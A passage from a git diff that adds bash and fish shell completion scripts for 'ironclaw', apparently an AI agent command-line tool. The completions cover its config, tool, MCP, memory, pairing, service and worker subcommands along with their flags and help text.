"${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing__approve) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing__help) + opts="list approve help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing__help__approve) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing__help__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__pairing__list) + opts="-m -c -h --json --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__run) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help install start stop status uninstall help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help) + opts="install start stop status uninstall help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help__install) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help__start) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help__status) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help__stop) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__help__uninstall) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__install) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__start) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__status) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__stop) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__service__uninstall) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__status) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool) + opts="-m -c -h --cli-only --no-db --message --config --no-onboard --help install list remove info auth help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__auth) + opts="-d -u -m -c -h --dir --user --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --dir) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -d) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --user) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -u) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help) + opts="install list remove info auth help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help__auth) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help__help) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help__info) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help__install) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help__list) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__help__remove) + opts="" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 4 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__info) + opts="-d -m -c -h --dir --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --dir) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -d) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__install) + opts="-n -t -f -m -c -h --name --capabilities --target --release --skip-build --force --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --name) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -n) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --capabilities) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --target) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -t) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__list) + opts="-d -v -m -c -h --dir --verbose --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --dir) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -d) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__tool__remove) + opts="-d -m -c -h --dir --cli-only --no-db --message --config --no-onboard --help " + if [[ ${cur} == -* || ${COMP_CWORD} -eq 3 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --dir) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -d) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + ironclaw__worker) + opts="-m -c -h --job-id --orchestrator-url --max-iterations --cli-only --no-db --message --config --no-onboard --help" + if [[ ${cur} == -* || ${COMP_CWORD} -eq 2 ]] ; then + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + fi + case "${prev}" in + --job-id) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --orchestrator-url) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --max-iterations) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --message) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -m) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + --config) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + -c) + COMPREPLY=($(compgen -f "${cur}")) + return 0 + ;; + *) + COMPREPLY=() + ;; + esac + COMPREPLY=( $(compgen -W "${opts}" -- "${cur}") ) + return 0 + ;; + esac +} + +if [[ "${BASH_VERSINFO[0]}" -eq 4 && "${BASH_VERSINFO[1]}" -ge 4 || "${BASH_VERSINFO[0]}" -gt 4 ]]; then + complete -F _ironclaw -o nosort -o bashdefault -o default ironclaw +else + complete -F _ironclaw -o bashdefault -o default ironclaw +fi diff --git a/ironclaw.fish b/ironclaw.fish new file mode 100644 index 00000000..f83b0563 --- /dev/null +++ b/ironclaw.fish @@ -0,0 +1,455 @@ +# Print an optspec for argparse to handle cmd's options that are independent of any subcommand. +function __fish_ironclaw_global_optspecs + string join \n cli-only no-db m/message= c/config= no-onboard h/help V/version +end + +function __fish_ironclaw_needs_command + # Figure out if the current invocation already has a command. + set -l cmd (commandline -opc) + set -e cmd[1] + argparse -s (__fish_ironclaw_global_optspecs) -- $cmd 2>/dev/null + or return + if set -q argv[1] + # Also print the command, so this can be used to figure out what it is. + echo $argv[1] + return 1 + end + return 0 +end + +function __fish_ironclaw_using_subcommand + set -l cmd (__fish_ironclaw_needs_command) + test -z "$cmd" + and return 1 + contains -- $cmd[1] $argv +end + +complete -c ironclaw -n "__fish_ironclaw_needs_command" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_needs_command" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_needs_command" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -s V -l version -d 'Print version' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "run" -d 'Run the agent (default if no subcommand given)' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "onboard" -d 'Interactive onboarding wizard' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "config" -d 'Manage configuration settings' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "tool" -d 'Manage WASM tools' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "memory" -d 'Query and manage workspace memory' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "service" -d 'Manage OS service (launchd / systemd)' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "doctor" -d 'Probe external dependencies and validate configuration' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "status" -d 'Show system health and diagnostics' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "completion" -d 'Generate shell completion scripts' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator' +complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l skip-auth -d 'Skip authentication (use existing session)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l channels-only -d 'Reconfigure channels only' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "init" -d 'Generate a default config.toml file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "list" -d 'List all settings and their current values' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "get" -d 'Get a specific setting value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "set" -d 'Set a setting value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "reset" -d 'Reset a setting to its default value' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "path" -d 'Show the settings storage info' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s o -l output -d 'Output path (default: ~/.ironclaw/config.toml)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l force -d 'Overwrite existing file' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s f -l filter -d 'Show only settings matching this prefix (e.g., "agent", "heartbeat")' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-db -d 'Skip database connection (for testing)' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-onboard -d 'Skip first-run onboarding check' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s h -l help -d 'Print help' +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s m -l message -d 'Single message mode - send one message and exit' -r +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F +complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)' +complete -c ironclaw -n 